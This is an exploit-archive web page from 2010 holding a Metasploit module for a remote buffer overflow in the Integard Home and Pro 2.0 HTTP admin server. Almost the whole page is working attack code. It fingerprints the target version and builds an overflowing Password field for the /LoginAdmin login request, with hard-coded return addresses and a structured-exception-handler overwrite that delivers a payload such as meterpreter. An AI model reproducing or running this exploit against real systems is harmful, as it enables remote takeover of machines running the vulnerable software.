Home / os / win7

Integard Home and Pro v2 Remote HTTP Buffer Overflow Exploit

Posted on 07 September 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Integard Home and Pro v2 Remote HTTP Buffer Overflow Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================================
Integard Home and Pro v2 Remote HTTP Buffer Overflow Exploit
============================================================

class Metasploit3 &lt; Msf::Exploit::Remote
 
    include Msf::Exploit::Remote::Tcp
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           =&gt; 'Integard Home/Pro version 2.0',
            'Description'    =&gt; %q{
                    Exploit for Integard HTTP Server, vulnerability discovered by Lincoln
            },
            'Author'  =&gt;
                [
                    'Lincoln',
                    'Nullthreat',
                    'rick2600',
                ],
            'License'       =&gt; MSF_LICENSE,
            'Version'       =&gt; '$Revision: $',
            'References'    =&gt;
                [
                    ['URL','http://www.corelan.be:8800/advisories.php?id=CORELAN-10-061'],
                ],
            'DefaultOptions' =&gt;
                {
                    'EXITFUNC' =&gt; 'thread',
                },
            'Payload'        =&gt;
                {
                    'Space'    =&gt; 2000,
                    'BadChars'  =&gt; &quot;x00x20x26x2fx3dx3fx5c&quot;,
                    'StackAdjustment' =&gt; -3500,
                },
            'Platform'       =&gt; 'win',
            'Privileged'     =&gt; false,
            'Targets'        =&gt;
                [
                    [ 'Automatic Targeting',          { 'auto' =&gt; true }],
                    [ 'Integard Home 2.0.0.9021', { 'Ret' =&gt; 0x0041565E,}],
                    [ 'Integard Pro  2.2.0.9026', { 'Ret' =&gt; 0x0040362C,}],
                ],
            'DefaultTarget'  =&gt; 0))
 
        register_options(
            [
                Opt::RPORT(18881)
            ], self.class )
    end
 
    #Current version does not work with bind() type of payloads
    #meterpreter, windows/exec  etc works fine
 
    def exploit
        mytarget = target
        if(target['auto'])
            mytarget = nil
            print_status(&quot;[*] Automatically detecting the target...&quot;)
            connect
            get = &quot;GET /banner.jpg HTTP/1.1

&quot;
            sock.put(get)
            data = sock.recv(1024)
                if (data =~ /Content-Length: 24584/)
                    print_status(&quot;[!] Found Version - Integard Home&quot;)
                    mytarget = self.targets[1]
                end
                if (data =~ /Content-Length: 23196/)
                    print_status(&quot;[!] Found Version - Integard Pro&quot;)
                    mytarget = self.targets[2]
                end
            sock.close
        end
        connect
        print_status(&quot;[!] Selected Target: #{mytarget.name}&quot;)
        print_status(&quot;[*] Building Buffer&quot;)
        pay = payload.encoded
        junk = rand_text_alpha_upper(3091 - pay.length)
        jmp = &quot;xE9x2BxF8xFFxFF&quot;
        nseh = &quot;xEBxF9x90x90&quot;
        seh = [mytarget.ret].pack('V')
        buffer = junk + pay + jmp + nseh + seh
        print_status(&quot;[*] Sending Request&quot;)
        req = &quot;POST /LoginAdmin HTTP/1.1
&quot;
        req &lt;&lt; &quot;Host: 192.168.2.129:18881
&quot;
        req &lt;&lt; &quot;Content-Length: 1074

&quot;
        req &lt;&lt; &quot;Password=&quot; + buffer + &quot;&amp;Redirect=%23%23%23REDIRECT%23%23%23&amp;NoJs=0&amp;LoginButtonName=Login&quot;
        sock.put(req)
        print_status(&quot;[*] Request Sent&quot;)
        sock.close
        handler
    end
end


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-07]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :